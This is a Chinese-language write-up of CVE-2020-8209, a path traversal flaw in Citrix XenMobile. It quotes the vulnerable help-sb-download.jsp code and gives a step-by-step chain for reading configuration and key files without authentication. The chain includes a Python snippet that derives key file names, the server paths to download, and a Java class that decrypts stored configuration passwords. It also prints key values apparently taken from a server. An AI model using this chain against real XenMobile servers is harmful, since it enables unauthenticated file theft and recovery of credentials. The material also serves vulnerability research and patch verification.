(CVE-2020-8209)Citrix XenMobile目录遍历任意文件读取漏洞.md

Citrix Endpoint Management(也称为XenMobile)用于管理员工的移动设备和移动应用程序。通常,由于Active Directory集成,它部署在网络外围并可以访问内部网络。这使XenMobile成为安全研究的主要目标。

在此类研究中,发现了路径遍历漏洞。此漏洞允许未经授权的用户读取任意文件,包括包含密码的配置文件。

CVE-2020-8209 –路径遍历

利用此漏洞,可以读取Web服务器根目录之外的任意文件,包括配置文件和敏感的加密密钥。不需要授权。在文件help-sb-download.jsp中标识了易受攻击的代码:

<%    String sbFilePath="/opt/sas/support/";    int length = 0;
    String sbFileName=(String)request.getParameter("sbFileName");
    ServletOutputStream outStream = response.getOutputStream();    response.setHeader("Set-Cookie","fileDownload=true; path=/");    response.setContentType("application/octet-stream");    response.setHeader("Content-Disposition", "attachment; filename=\"" + sbFileName + '"');

    File file = new File(sbFilePath+sbFileName);    byte[] byteBuffer = new byte[4096];    DataInputStream in = new DataInputStream(new FileInputStream(file));
    while((in != null) && ((length =in.read(byteBuffer)) != -1))    {        outStream.write(byteBuffer,0,length);
    }
    in.close();    outStream.flush();
%>

该参数sbFileName与字符串连接/opt/sas/support/,之后将字符串作为参数提供给File类构造函数。结果显示在以下屏幕截图中:

image-20201117135212860

解密配置密码

尽管该应用程序以tomcat用户的特权运行,但仍可以读取诸如的配置文件/opt/sas/sw/config/sftu.properties。

image-20201117135236477

密码已加密并以以下两种格式之一存储:{aes} [base64文本]或{aes} {db} [base64文本]。加密由库/opt/sas/sw/lib/libsecure.so和DataSecurity.jar处理。为了解密,需要相应的密钥。它们位于文件中/opt/sas/rt/keys/security.properties,可以使用路径遍历漏洞进行下载。

image-20201117135250138


P.TXT1=vfjgegdwecmykhbispfg P.TXT2=mbezvftvzwjopiruwewm P.TXT3=gzaoaxmebrgffquankdx P3.Salt=W3UK3PtDVgYq9Jd9QKReAw== NLK=cT4nkjXGc/iUZ2TvCVkvmsZAsNTG/6OgE08ZMWvATcL2fXFgfwAJO/nhE7jsi6Zh NLKS=SC01Cg== WKS=CAVRK9/5+r5esY+bvrZJ1g== SK=jTyjyNsyFbkrCnaI9Gq/0GVUp1fkq8nd+VHLe35T0rmmm8z7osNtgfSNPFulSSJ1 SKS=CF5ebQ== UD.GK=69ict40YlMC9E1a2Tcgu3UVb0Lkd5RyadcQ4SEwcbKlUCR8Tv4lGv6N6BkirKk7l GKS=4GLRGw==

使用算法对每个参数P.TXT1,P.TXT2,P.TXT3进行哈希处理

image-20201117135329135

并指.txt文件夹中的文件/opt/sas/rt/keys/。这些相同的步骤由库完成libsecure.so。

from base64 import b64encode
from hashlib import sha256
print(b64encode(sha256(b'vfjgegdwecmykhbispfg').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'mbezvftvzwjopiruwewm').digest()).decode('ascii').translate({47:None,61:None}))
print(b64encode(sha256(b'gzaoaxmebrgffquankdx').digest()).decode('ascii').translate({47:None,61:None}))

生成的文件名WbuGF1z7N+0EsLTTCE3JoRNgAJJzVe7Gs5JWhp3qJE.txt,lQGKrlfWtad61mxyFkUWNi2vF7INdfOfiXzVX1I95g.txt和

NZc0GgHcLK4qzgdQdQ0V50EorrksnJFdu1zIIlxx1j8.txt可以用于使用路径遍历漏洞从服务器下载相应的文件。

image-20201117135402620

image-20201117135412719

image-20201117135421855

/opt/sas/sw/lib/libsecure.so还需要用于加密的库。

当务之急是这些文件(security.properties,WbuGF1z7N+0EsLTTCE3JoRNgAJJzVe7Gs5JWhp3qJE.txt,lQGKrlfWtad61mxyFkUWNi2vF7INdfOfiXzVX1I95g.txt,NZc0GgHcLK4qzgdQdQ0V50EorrksnJFdu1zIIlxx1j8.txt,libsecure.so),以保存到本地,他们有XenMobile服务器上的同一个文件的路径。

还需要三个Java库,保存到一个文件夹:/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/DataSecurity.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/common-interfaces.jar,/opt/sas/sw/tomcat/inst1/webapps/ROOT/WEB-INF/lib/slf4j-api-1.6.4.jar。

在上述文件夹中,创建一个decrypt.class包含以下内容的文件并进行编译。


import com.citrix.xms.security.DataSecurity; class decrypt { public static void main(String[] args) { if (args.length < 1) { System.out.println("Usage:\n decrypt [encrypted string]"); return; } System.out.println(DataSecurity.decryptDbPassword(args[0])); } }

通过正确排列所有数据,我们可以从配置文件中解密密码。

image-20201117135453864